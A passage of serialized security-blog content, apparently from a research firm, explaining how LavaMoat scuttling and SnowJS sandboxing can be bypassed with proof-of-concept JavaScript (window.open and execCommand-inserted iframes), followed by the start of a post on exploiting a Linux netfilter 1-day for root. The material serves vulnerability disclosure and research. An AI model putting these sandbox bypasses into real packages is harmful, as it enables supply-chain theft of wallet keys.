assertValidJS(sourceMeta.code)\n",{"type":26,"tag":27,"props":49191,"children":49193},{"id":49192},"hacking-js-realms",[49194],{"type":32,"value":49195},"Hacking JS Realms",{"type":26,"tag":35,"props":49197,"children":49198},{},[49199,49201,49206],{"type":32,"value":49200},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":26,"tag":53,"props":49202,"children":49204},{"className":49203},[],[49205],{"type":32,"value":37111},{"type":32,"value":49207}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":26,"tag":465,"props":49209,"children":49211},{"className":2332,"code":49210,"language":2334,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[49212],{"type":26,"tag":53,"props":49213,"children":49214},{"__ignoreMap":7},[49215,49257],{"type":26,"tag":475,"props":49216,"children":49217},{"class":477,"line":478},[49218,49222,49227,49231,49235,49239,49244,49248,49253],{"type":26,"tag":475,"props":49219,"children":49220},{"style":482},[49221],{"type":32,"value":9363},{"type":26,"tag":475,"props":49223,"children":49224},{"style":2375},[49225],{"type":32,"value":49226}," w",{"type":26,"tag":475,"props":49228,"children":49229},{"style":714},[49230],{"type":32,"value":2383},{"type":26,"tag":475,"props":49232,"children":49233},{"style":2375},[49234],{"type":32,"value":31108},{"type":26,"tag":475,"props":49236,"children":49237},{"style":499},[49238],{"type":32,"value":353},{"type":26,"tag":475,"props":49240,"children":49241},{"style":493},[49242],{"type":32,"value":49243},"open",{"type":26,"tag":475,"props":49245,"children":49246},{"style":499},[49247],{"type":32,"value":626},{"type":26,"tag":475,"props":49249,"children":49250},{"style":629},[49251],{"type":32,"value":49252},"'/non_existent'",{"type":26,"tag":475,"props":49254,"children":49255},{"style":499},[49256],{"type":32,"value":3533},{"type":26,"tag":475,"props":49258,"children":49259},{"class":477,"line":516},[49260,49265,49269,49273,49277,49281,49285,49289],{"type":26,"tag":475,"props":49261,"children":49262},{"style":2375},[49263],{"type":32,"value":49264},"w",{"type":26,"tag":475,"props":49266,"children":49267},{"style":499},[49268],{"type":32,"value":353},{"type":26,"tag":475,"props":49270,"children":49271},{"style":493},[49272],{"type":32,"value":32396},{"type":26,"tag":475,"props":49274,"children":49275},{"style":499},[49276],{"type":32,"value":626},{"type":26,"tag":475,"props":49278,"children":49279},{"style":2375},[49280],{"type":32,"value":32406},{"type":26,"tag":475,"props":49282,"children":49283},{"style":499},[49284],{"type":32,"value":353},{"type":26,"tag":475,"props":49286,"children":49287},{"style":2375},[49288],{"type":32,"value":32416},{"type":26,"tag":475,"props":49290,"children":49291},{"style":499},[49292],{"type":32,"value":647},{"type":26,"tag":35,"props":49294,"children":49295},{},[49296,49298,49303],{"type":32,"value":49297},"This opens a new window with a new JS Realm (another ",{"type":26,"tag":53,"props":49299,"children":49301},{"className":49300},[],[49302],{"type":32,"value":37111},{"type":32,"value":49304}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":26,"tag":35,"props":49306,"children":49307},{},[49308,49310,49317],{"type":32,"value":49309},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":26,"tag":116,"props":49311,"children":49314},{"href":49312,"rel":49313},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[120],[49315],{"type":32,"value":49316},"Metamask implementation",{"type":32,"value":2835},{"type":26,"tag":41,"props":49319,"children":49321},{"id":49320},"snowjs-attack-surface",[49322],{"type":32,"value":49323},"SnowJS Attack Surface",{"type":26,"tag":35,"props":49325,"children":49326},{},[49327],{"type":32,"value":49328},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":26,"tag":35,"props":49330,"children":49331},{},[49332,49334,49341],{"type":32,"value":49333},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":26,"tag":116,"props":49335,"children":49338},{"href":49336,"rel":49337},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[120],[49339],{"type":32,"value":49340},"hooked inserters",{"type":32,"value":49342}," functions:",{"type":26,"tag":465,"props":49344,"children":49346},{"className":2332,"code":49345,"language":2334,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[49347],{"type":26,"tag":53,"props":49348,"children":49349},{"__ignoreMap":7},[49350,49370,49391,49430,49484,49523,49622,49642,49663],{"type":26,"tag":475,"props":49351,"children":49352},{"class":477,"line":478},[49353,49357,49362,49366],{"type":26,"tag":475,"props":49354,"children":49355},{"style":482},[49356],{"type":32,"value":9363},{"type":26,"tag":475,"props":49358,"children":49359},{"style":2375},[49360],{"type":32,"value":49361}," map",{"type":26,"tag":475,"props":49363,"children":49364},{"style":714},[49365],{"type":32,"value":2383},{"type":26,"tag":475,"props":49367,"children":49368},{"style":499},[49369],{"type":32,"value":579},{"type":26,"tag":475,"props":49371,"children":49372},{"class":477,"line":516},[49373,49378,49382,49387],{"type":26,"tag":475,"props":49374,"children":49375},{"style":2375},[49376],{"type":32,"value":49377}," Range:",{"type":26,"tag":475,"props":49379,"children":49380},{"style":499},[49381],{"type":32,"value":22741},{"type":26,"tag":475,"props":49383,"children":49384},{"style":629},[49385],{"type":32,"value":49386},"'insertNode'",{"type":26,"tag":475,"props":49388,"children":49389},{"style":499},[49390],{"type":32,"value":13970},{"type":26,"tag":475,"props":49392,"children":49393},{"class":477,"line":539},[49394,49399,49403,49408,49412,49417,49421,49426],{"type":26,"tag":475,"props":49395,"children":49396},{"style":2375},[49397],{"type":32,"value":49398}," DocumentFragment:",{"type":26,"tag":475,"props":49400,"children":49401},{"style":499},[49402],{"type":32,"value":22741},{"type":26,"tag":475,"props":49404,"children":49405},{"style":629},[49406],{"type":32,"value":49407},"'replaceChildren'",{"type":26,"tag":475,"props":49409,"children":49410},{"style":499},[49411],{"type":32,"value":637},{"type":26,"tag":475,"props":49413,"children":49414},{"style":629},[49415],{"type":32,"value":49416},"'append'",{"type":26,"tag":475,"props":49418,"children":49419},{"style":499},[49420],{"type":32,"value":637},{"type":26,"tag":475,"props":49422,"children":49423},{"style":629},[49424],{"type":32,"value":49425},"'prepend'",{"type":26,"tag":475,"props":49427,"children":49428},{"style":499},[49429],{"type":32,"value":13970},{"type":26,"tag":475,"props":49431,"children":49432},{"class":477,"line":548},[49433,49438,49442,49446,49450,49454,49458,49462,49466,49471,49475,49480],{"type":26,"tag":475,"props":49434,"children":49435},{"style":2375},[49436],{"type":32,"value":49437}," Document:",{"type":26,"tag":475,"props":49439,"children":49440},{"style":499},[49441],{"type":32,"value":22741},{"type":26,"tag":475,"props":49443,"children":49444},{"style":629},[49445],{"type":32,"value":49407},{"type":26,"tag":475,"props":49447,"children":49448},{"style":499},[49449],{"type":32,"value":637},{"type":26,"tag":475,"props":49451,"children":49452},{"style":629},[49453],{"type":32,"value":49416},{"type":26,"tag":475,"props":49455,"children":49456},{"style":499},[49457],{"type":32,"value":637},{"type":26,"tag":475,"props":49459,"children":49460},{"style":629},[49461],{"type":32,"value":49425},{"type":26,"tag":475,"props":49463,"children":49464},{"style":499},[49465],{"type":32,"value":637},{"type":26,"tag":475,"props":49467,"children":49468},{"style":629},[49469],{"type":32,"value":49470},"'write'",{"type":26,"tag":475,"props":49472,"children":49473},{"style":499},[49474],{"type":32,"value":637},{"type":26,"tag":475,"props":49476,"children":49477},{"style":629},[49478],{"type":32,"value":49479},"'writeln'",{"type":26,"tag":475,"props":49481,"children":49482},{"style":499},[49483],{"type":32,"value":13970},{"type":26,"tag":475,"props":49485,"children":49486},{"class":477,"line":558},[49487,49492,49496,49501,49505,49510,49514,49519],{"type":26,"tag":475,"props":49488,"children":49489},{"style":2375},[49490],{"type":32,"value":49491}," Node:",{"type":26,"tag":475,"props":49493,"children":49494},{"style":499},[49495],{"type":32,"value":22741},{"type":26,"tag":475,"props":49497,"children":49498},{"style":629},[49499],{"type":32,"value":49500},"'appendChild'",{"type":26,"tag":475,"props":49502,"children":49503},{"style":499},[49504],{"type":32,"value":637},{"type":26,"tag":475,"props":49506,"children":49507},{"style":629},[49508],{"type":32,"value":49509},"'insertBefore'",{"type":26,"tag":475,"props":49511,"children":49512},{"style":499},[49513],{"type":32,"value":637},{"type":26,"tag":475,"props":49515,"children":49516},{"style":629},[49517],{"type":32,"value":49518},"'replaceChild'",{"type":26,"tag":475,"props":49520,"children":49521},{"style":499},[49522],{"type":32,"value":13970},{"type":26,"tag":475,"props":49524,"children":49525},{"class":477,"line":582},[49526,49531,49535,49540,49544,49549,49553,49558,49562,49567,49571,49576,49580,49584,49588,49593,49597,49601,49605,49610,49614,49618],{"type":26,"tag":475,"props":49527,"children":49528},{"style":2375},[49529],{"type":32,"value":49530}," Element:",{"type":26,"tag":475,"props":49532,"children":49533},{"style":499},[49534],{"type":32,"value":22741},{"type":26,"tag":475,"props":49536,"children":49537},{"style":629},[49538],{"type":32,"value":49539},"'innerHTML'",{"type":26,"tag":475,"props":49541,"children":49542},{"style":499},[49543],{"type":32,"value":637},{"type":26,"tag":475,"props":49545,"children":49546},{"style":629},[49547],{"type":32,"value":49548},"'outerHTML'",{"type":26,"tag":475,"props":49550,"children":49551},{"style":499},[49552],{"type":32,"value":637},{"type":26,"tag":475,"props":49554,"children":49555},{"style":629},[49556],{"type":32,"value":49557},"'insertAdjacentHTML'",{"type":26,"tag":475,"props":49559,"children":49560},{"style":499},[49561],{"type":32,"value":637},{"type":26,"tag":475,"props":49563,"children":49564},{"style":629},[49565],{"type":32,"value":49566},"'replaceWith'",{"type":26,"tag":475,"props":49568,"children":49569},{"style":499},[49570],{"type":32,"value":637},{"type":26,"tag":475,"props":49572,"children":49573},{"style":629},[49574],{"type":32,"value":49575},"'insertAdjacentElement'",{"type":26,"tag":475,"props":49577,"children":49578},{"style":499},[49579],{"type":32,"value":637},{"type":26,"tag":475,"props":49581,"children":49582},{"style":629},[49583],{"type":32,"value":49416},{"type":26,"tag":475,"props":49585,"children":49586},{"style":499},[49587],{"type":32,"value":637},{"type":26,"tag":475,"props":49589,"children":49590},{"style":629},[49591],{"type":32,"value":49592},"'before'",{"type":26,"tag":475,"props":49594,"children":49595},{"style":499},[49596],{"type":32,"value":637},{"type":26,"tag":475,"props":49598,"children":49599},{"style":629},[49600],{"type":32,"value":49425},{"type":26,"tag":475,"props":49602,"children":49603},{"style":499},[49604],{"type":32,"value":637},{"type":26,"tag":475,"props":49606,"children":49607},{"style":629},[49608],{"type":32,"value":49609},"'after'",{"type":26,"tag":475,"props":49611,"children":49612},{"style":499},[49613],{"type":32,"value":637},{"type":26,"tag":475,"props":49615,"children":49616},{"style":629},[49617],{"type":32,"value":49407},{"type":26,"tag":475,"props":49619,"children":49620},{"style":499},[49621],{"type":32,"value":13970},{"type":26,"tag":475,"props":49623,"children":49624},{"class":477,"line":596},[49625,49630,49634,49638],{"type":26,"tag":475,"props":49626,"children":49627},{"style":2375},[49628],{"type":32,"value":49629}," ShadowRoot:",{"type":26,"tag":475,"props":49631,"children":49632},{"style":499},[49633],{"type":32,"value":22741},{"type":26,"tag":475,"props":49635,"children":49636},{"style":629},[49637],{"type":32,"value":49539},{"type":26,"tag":475,"props":49639,"children":49640},{"style":499},[49641],{"type":32,"value":13970},{"type":26,"tag":475,"props":49643,"children":49644},{"class":477,"line":610},[49645,49650,49654,49659],{"type":26,"tag":475,"props":49646,"children":49647},{"style":2375},[49648],{"type":32,"value":49649}," HTMLIFrameElement:",{"type":26,"tag":475,"props":49651,"children":49652},{"style":499},[49653],{"type":32,"value":22741},{"type":26,"tag":475,"props":49655,"children":49656},{"style":629},[49657],{"type":32,"value":49658},"'srcdoc'",{"type":26,"tag":475,"props":49660,"children":49661},{"style":499},[49662],{"type":32,"value":13970},{"type":26,"tag":475,"props":49664,"children":49665},{"class":477,"line":650},[49666],{"type":26,"tag":475,"props":49667,"children":49668},{"style":499},[49669],{"type":32,"value":16283},{"type":26,"tag":35,"props":49671,"children":49672},{},[49673],{"type":32,"value":49674},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":26,"tag":35,"props":49676,"children":49677},{},[49678],{"type":32,"value":49679},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":26,"tag":41,"props":49681,"children":49683},{"id":49682},"bypassing-snowjs",[49684],{"type":32,"value":49685},"Bypassing SnowJS",{"type":26,"tag":35,"props":49687,"children":49688},{},[49689,49691,49702,49704,49710],{"type":32,"value":49690},"The deprecated ",{"type":26,"tag":116,"props":49692,"children":49695},{"href":49693,"rel":49694},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[120],[49696],{"type":26,"tag":53,"props":49697,"children":49699},{"className":49698},[],[49700],{"type":32,"value":49701},"document.execCommand",{"type":32,"value":49703}," function is used to execute commands inside a ",{"type":26,"tag":53,"props":49705,"children":49707},{"className":49706},[],[49708],{"type":32,"value":49709},"contenteditable",{"type":32,"value":49711}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":26,"tag":465,"props":49713,"children":49716},{"className":49714,"code":49715,"language":32081,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[49717],{"type":26,"tag":53,"props":49718,"children":49719},{"__ignoreMap":7},[49720],{"type":26,"tag":475,"props":49721,"children":49722},{"class":477,"line":478},[49723,49727,49731,49735,49739,49744,49749,49754,49759,49763],{"type":26,"tag":475,"props":49724,"children":49725},{"style":32074},[49726],{"type":32,"value":5519},{"type":26,"tag":475,"props":49728,"children":49729},{"style":482},[49730],{"type":32,"value":31048},{"type":26,"tag":475,"props":49732,"children":49733},{"style":2375},[49734],{"type":32,"value":32154},{"type":26,"tag":475,"props":49736,"children":49737},{"style":499},[49738],{"type":32,"value":786},{"type":26,"tag":475,"props":49740,"children":49741},{"style":629},[49742],{"type":32,"value":49743},"test",{"type":26,"tag":475,"props":49745,"children":49746},{"style":2375},[49747],{"type":32,"value":49748}," contenteditable",{"type":26,"tag":475,"props":49750,"children":49751},{"style":2375},[49752],{"type":32,"value":49753}," autofocus",{"type":26,"tag":475,"props":49755,"children":49756},{"style":32074},[49757],{"type":32,"value":49758},">\u003C/",{"type":26,"tag":475,"props":49760,"children":49761},{"style":482},[49762],{"type":32,"value":31048},{"type":26,"tag":475,"props":49764,"children":49765},{"style":32074},[49766],{"type":32,"value":5706},{"type":26,"tag":35,"props":49768,"children":49769},{},[49770,49772,49778,49780,49785],{"type":32,"value":49771},"After inserting this element to a page, it is possible to use ",{"type":26,"tag":53,"props":49773,"children":49775},{"className":49774},[],[49776],{"type":32,"value":49777},"insertHTML",{"type":32,"value":49779}," command of ",{"type":26,"tag":53,"props":49781,"children":49783},{"className":49782},[],[49784],{"type":32,"value":49701},{"type":32,"value":49786}," to add a non-sandboxed iframe.",{"type":26,"tag":465,"props":49788,"children":49790},{"className":2332,"code":49789,"language":2334,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[49791],{"type":26,"tag":53,"props":49792,"children":49793},{"__ignoreMap":7},[49794],{"type":26,"tag":475,"props":49795,"children":49796},{"class":477,"line":478},[49797,49801,49805,49810,49814,49819,49823,49827,49831,49836],{"type":26,"tag":475,"props":49798,"children":49799},{"style":2375},[49800],{"type":32,"value":32406},{"type":26,"tag":475,"props":49802,"children":49803},{"style":499},[49804],{"type":32,"value":353},{"type":26,"tag":475,"props":49806,"children":49807},{"style":493},[49808],{"type":32,"value":49809},"execCommand",{"type":26,"tag":475,"props":49811,"children":49812},{"style":499},[49813],{"type":32,"value":626},{"type":26,"tag":475,"props":49815,"children":49816},{"style":629},[49817],{"type":32,"value":49818},"'insertHTML'",{"type":26,"tag":475,"props":49820,"children":49821},{"style":499},[49822],{"type":32,"value":637},{"type":26,"tag":475,"props":49824,"children":49825},{"style":482},[49826],{"type":32,"value":7886},{"type":26,"tag":475,"props":49828,"children":49829},{"style":499},[49830],{"type":32,"value":637},{"type":26,"tag":475,"props":49832,"children":49833},{"style":629},[49834],{"type":32,"value":49835},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":26,"tag":475,"props":49837,"children":49838},{"style":499},[49839],{"type":32,"value":3533},{"type":26,"tag":41,"props":49841,"children":49843},{"id":49842},"impact-on-lavamoat-scuttling",[49844],{"type":32,"value":49845},"Impact On Lavamoat Scuttling",{"type":26,"tag":35,"props":49847,"children":49848},{},[49849],{"type":32,"value":49850},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":26,"tag":35,"props":49852,"children":49853},{},[49854,49856,49861,49863,49868],{"type":32,"value":49855},"For the exploit, the only used functions are in ",{"type":26,"tag":53,"props":49857,"children":49859},{"className":49858},[],[49860],{"type":32,"value":32406},{"type":32,"value":49862}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":26,"tag":53,"props":49864,"children":49866},{"className":49865},[],[49867],{"type":32,"value":37111},{"type":32,"value":49869}," object.",{"type":26,"tag":35,"props":49871,"children":49872},{},[49873,49875,49880],{"type":32,"value":49874},"Consider this example, which runs a scuttled ",{"type":26,"tag":53,"props":49876,"children":49878},{"className":49877},[],[49879],{"type":32,"value":32396},{"type":32,"value":25169},{"type":26,"tag":465,"props":49882,"children":49884},{"className":2332,"code":49883,"language":2334,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[49885],{"type":26,"tag":53,"props":49886,"children":49887},{"__ignoreMap":7},[49888,49924,49961,50004],{"type":26,"tag":475,"props":49889,"children":49890},{"class":477,"line":478},[49891,49895,49899,49903,49907,49911,49915,49920],{"type":26,"tag":475,"props":49892,"children":49893},{"style":2375},[49894],{"type":32,"value":32406},{"type":26,"tag":475,"props":49896,"children":49897},{"style":499},[49898],{"type":32,"value":353},{"type":26,"tag":475,"props":49900,"children":49901},{"style":2375},[49902],{"type":32,"value":32098},{"type":26,"tag":475,"props":49904,"children":49905},{"style":499},[49906],{"type":32,"value":353},{"type":26,"tag":475,"props":49908,"children":49909},{"style":2375},[49910],{"type":32,"value":34667},{"type":26,"tag":475,"props":49912,"children":49913},{"style":714},[49914],{"type":32,"value":2383},{"type":26,"tag":475,"props":49916,"children":49917},{"style":629},[49918],{"type":32,"value":49919}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":26,"tag":475,"props":49921,"children":49922},{"style":499},[49923],{"type":32,"value":2729},{"type":26,"tag":475,"props":49925,"children":49926},{"class":477,"line":516},[49927,49931,49935,49939,49943,49948,49952,49957],{"type":26,"tag":475,"props":49928,"children":49929},{"style":2375},[49930],{"type":32,"value":32406},{"type":26,"tag":475,"props":49932,"children":49933},{"style":499},[49934],{"type":32,"value":353},{"type":26,"tag":475,"props":49936,"children":49937},{"style":493},[49938],{"type":32,"value":34692},{"type":26,"tag":475,"props":49940,"children":49941},{"style":499},[49942],{"type":32,"value":626},{"type":26,"tag":475,"props":49944,"children":49945},{"style":629},[49946],{"type":32,"value":49947},"'test'",{"type":26,"tag":475,"props":49949,"children":49950},{"style":499},[49951],{"type":32,"value":20450},{"type":26,"tag":475,"props":49953,"children":49954},{"style":493},[49955],{"type":32,"value":49956},"focus",{"type":26,"tag":475,"props":49958,"children":49959},{"style":499},[49960],{"type":32,"value":3376},{"type":26,"tag":475,"props":49962,"children":49963},{"class":477,"line":539},[49964,49968,49972,49976,49980,49984,49988,49992,49996,50000],{"type":26,"tag":475,"props":49965,"children":49966},{"style":2375},[49967],{"type":32,"value":32406},{"type":26,"tag":475,"props":49969,"children":49970},{"style":499},[49971],{"type":32,"value":353},{"type":26,"tag":475,"props":49973,"children":49974},{"style":493},[49975],{"type":32,"value":49809},{"type":26,"tag":475,"props":49977,"children":49978},{"style":499},[49979],{"type":32,"value":626},{"type":26,"tag":475,"props":49981,"children":49982},{"style":629},[49983],{"type":32,"value":49818},{"type":26,"tag":475,"props":49985,"children":49986},{"style":499},[49987],{"type":32,"value":637},{"type":26,"tag":475,"props":49989,"children":49990},{"style":482},[49991],{"type":32,"value":7886},{"type":26,"tag":475,"props":49993,"children":49994},{"style":499},[49995],{"type":32,"value":637},{"type":26,"tag":475,"props":49997,"children":49998},{"style":629},[49999],{"type":32,"value":49835},{"type":26,"tag":475,"props":50001,"children":50002},{"style":499},[50003],{"type":32,"value":3533},{"type":26,"tag":475,"props":50005,"children":50006},{"class":477,"line":548},[50007,50011,50015,50020,50024,50028,50033,50037,50042,50047,50051,50055,50059,50063,50067,50071],{"type":26,"tag":475,"props":50008,"children":50009},{"style":2375},[50010],{"type":32,"value":32406},{"type":26,"tag":475,"props":50012,"children":50013},{"style":499},[50014],{"type":32,"value":353},{"type":26,"tag":475,"props":50016,"children":50017},{"style":493},[50018],{"type":32,"value":50019},"getElementsByTagName",{"type":26,"tag":475,"props":50021,"children":50022},{"style":499},[50023],{"type":32,"value":626},{"type":26,"tag":475,"props":50025,"children":50026},{"style":629},[50027],{"type":32,"value":36424},{"type":26,"tag":475,"props":50029,"children":50030},{"style":499},[50031],{"type":32,"value":50032},")[",{"type":26,"tag":475,"props":50034,"children":50035},{"style":903},[50036],{"type":32,"value":3732},{"type":26,"tag":475,"props":50038,"children":50039},{"style":499},[50040],{"type":32,"value":50041},"].",{"type":26,"tag":475,"props":50043,"children":50044},{"style":2375},[50045],{"type":32,"value":50046},"contentWindow",{"type":26,"tag":475,"props":50048,"children":50049},{"style":499},[50050],{"type":32,"value":353},{"type":26,"tag":475,"props":50052,"children":50053},{"style":493},[50054],{"type":32,"value":32396},{"type":26,"tag":475,"props":50056,"children":50057},{"style":499},[50058],{"type":32,"value":626},{"type":26,"tag":475,"props":50060,"children":50061},{"style":2375},[50062],{"type":32,"value":32406},{"type":26,"tag":475,"props":50064,"children":50065},{"style":499},[50066],{"type":32,"value":353},{"type":26,"tag":475,"props":50068,"children":50069},{"style":2375},[50070],{"type":32,"value":32416},{"type":26,"tag":475,"props":50072,"children":50073},{"style":499},[50074],{"type":32,"value":3533},{"type":26,"tag":41,"props":50076,"children":50078},{"id":50077},"snowjs-patch",[50079],{"type":32,"value":50080},"SnowJS Patch",{"type":26,"tag":35,"props":50082,"children":50083},{},[50084,50086,50093,50095,50102],{"type":32,"value":50085},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":26,"tag":116,"props":50087,"children":50090},{"href":50088,"rel":50089},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[120],[50091],{"type":32,"value":50092},"browser feature within W3C standards",{"type":32,"value":50094},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":26,"tag":116,"props":50096,"children":50099},{"href":50097,"rel":50098},"https://github.com/weizman/Realms-Initialization-Control",[120],[50100],{"type":32,"value":50101},"Here",{"type":32,"value":50103}," is their new proposal.",{"type":26,"tag":27,"props":50105,"children":50107},{"id":50106},"chaining-the-impacts",[50108],{"type":32,"value":50109},"Chaining The Impacts",{"type":26,"tag":35,"props":50111,"children":50112},{},[50113],{"type":32,"value":50114},"We were able to find two vulnerabilities in lavamoat project:",{"type":26,"tag":181,"props":50116,"children":50117},{},[50118,50123],{"type":26,"tag":86,"props":50119,"children":50120},{},[50121],{"type":32,"value":50122},"Policy File Bypass",{"type":26,"tag":86,"props":50124,"children":50125},{},[50126],{"type":32,"value":50127},"Scuttling Bypass",{"type":26,"tag":35,"props":50129,"children":50130},{},[50131],{"type":32,"value":50132},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":26,"tag":35,"props":50134,"children":50135},{},[50136],{"type":32,"value":50137},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":26,"tag":27,"props":50139,"children":50140},{"id":2533},[50141],{"type":32,"value":2536},{"type":26,"tag":35,"props":50143,"children":50144},{},[50145],{"type":32,"value":50146},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":26,"tag":31048,"props":50148,"children":50149},{"style":31050},[50150],{"type":26,"tag":132,"props":50151,"children":50154},{"src":50152,"alt":50153,"style":31056},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":26,"tag":18130,"props":50156,"children":50158},{"className":50157,"dataFootnotes":7},[18133],[50159,50164],{"type":26,"tag":27,"props":50160,"children":50162},{"className":50161,"id":15186},[18138],[50163],{"type":32,"value":18141},{"type":26,"tag":181,"props":50165,"children":50166},{},[50167],{"type":26,"tag":86,"props":50168,"children":50169},{"id":30069},[50170,50172,50179,50180],{"type":32,"value":50171},"Excluding SES, which was covered ",{"type":26,"tag":116,"props":50173,"children":50176},{"href":50174,"rel":50175},"https://osec.io/blog/2023-11-01-metamask-snaps",[120],[50177],{"type":32,"value":50178},"in our last article",{"type":32,"value":6171},{"type":26,"tag":116,"props":50181,"children":50183},{"href":30097,"ariaLabel":18244,"className":50182,"dataFootnoteBackref":7},[18246],[50184],{"type":32,"value":18249},{"type":26,"tag":2548,"props":50186,"children":50187},{},[50188],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":50190},[50191,50195,50201,50207,50208,50209],{"id":18664,"depth":516,"text":18667,"children":50192},[50193,50194],{"id":28717,"depth":539,"text":28720},{"id":46814,"depth":539,"text":46817},{"id":47570,"depth":516,"text":47573,"children":50196},[50197,50198,50199,50200],{"id":47821,"depth":539,"text":47824},{"id":48295,"depth":539,"text":48298},{"id":48951,"depth":539,"text":48954},{"id":49074,"depth":539,"text":49077},{"id":49192,"depth":516,"text":49195,"children":50202},[50203,50204,50205,50206],{"id":49320,"depth":539,"text":49323},{"id":49682,"depth":539,"text":49685},{"id":49842,"depth":539,"text":49845},{"id":50077,"depth":539,"text":50080},{"id":50106,"depth":516,"text":50109},{"id":2533,"depth":516,"text":2536},{"id":15186,"depth":516,"text":18141},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":50214,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50215,"description":50216,"author":50217,"image":50218,"date":50220,"isFeatured":18,"tags":50221,"onBlogPage":18,"body":50224,"_type":2566,"_id":60602,"_source":2568,"_file":60603,"_stem":60604,"_extension":2571},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":50219,"height":8975,"width":5436},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[50222,50223],"kernal","linux",{"type":23,"children":50225,"toc":60570},[50226,50239,50253,50258,50264,50273,50278,50284,50289,50307,50321,50330,50363,50368,50374,50393,50426,50432,50445,50655,50722,51285,51304,51529,51588,51594,51614,51654,51842,51847,51998,52054,52059,52573,52592,52861,52887,53396,53463,53469,53505,53510,53776,53809,53821,53848,53860,53865,53871,53892,53898,53919,53942,54774,54780,54820,55360,55371,55405,55472,55526,55758,55764,55808,56272,56278,56289,56319,56402,56407,56412,56448,56500,56531,57086,57092,57109,57115,57120,57126,57154,57347,57367,57383,57978,57984,58019,58042,58054,58060,58088,58684,58709,59678,59689,59702,59715,60481,60495,60501,60513,60519,60547,60552,60556,60561,60566],{"type":26,"tag":35,"props":50227,"children":50228},{},[50229,50231,50238],{"type":32,"value":50230},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":26,"tag":116,"props":50232,"children":50235},{"href":50233,"rel":50234},"https://google.github.io/security-research/kernelctf/rules.html",[120],[50236],{"type":32,"value":50237},"KernelCTF VRP",{"type":32,"value":353},{"type":26,"tag":35,"props":50240,"children":50241},{},[50242,50244,50251],{"type":32,"value":50243},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":26,"tag":116,"props":50245,"children":50248},{"href":50246,"rel":50247},"https://github.com/conlonialC",[120],[50249],{"type":32,"value":50250},"lonial con",{"type":32,"value":50252},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":26,"tag":35,"props":50254,"children":50255},{},[50256],{"type":32,"value":50257},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal 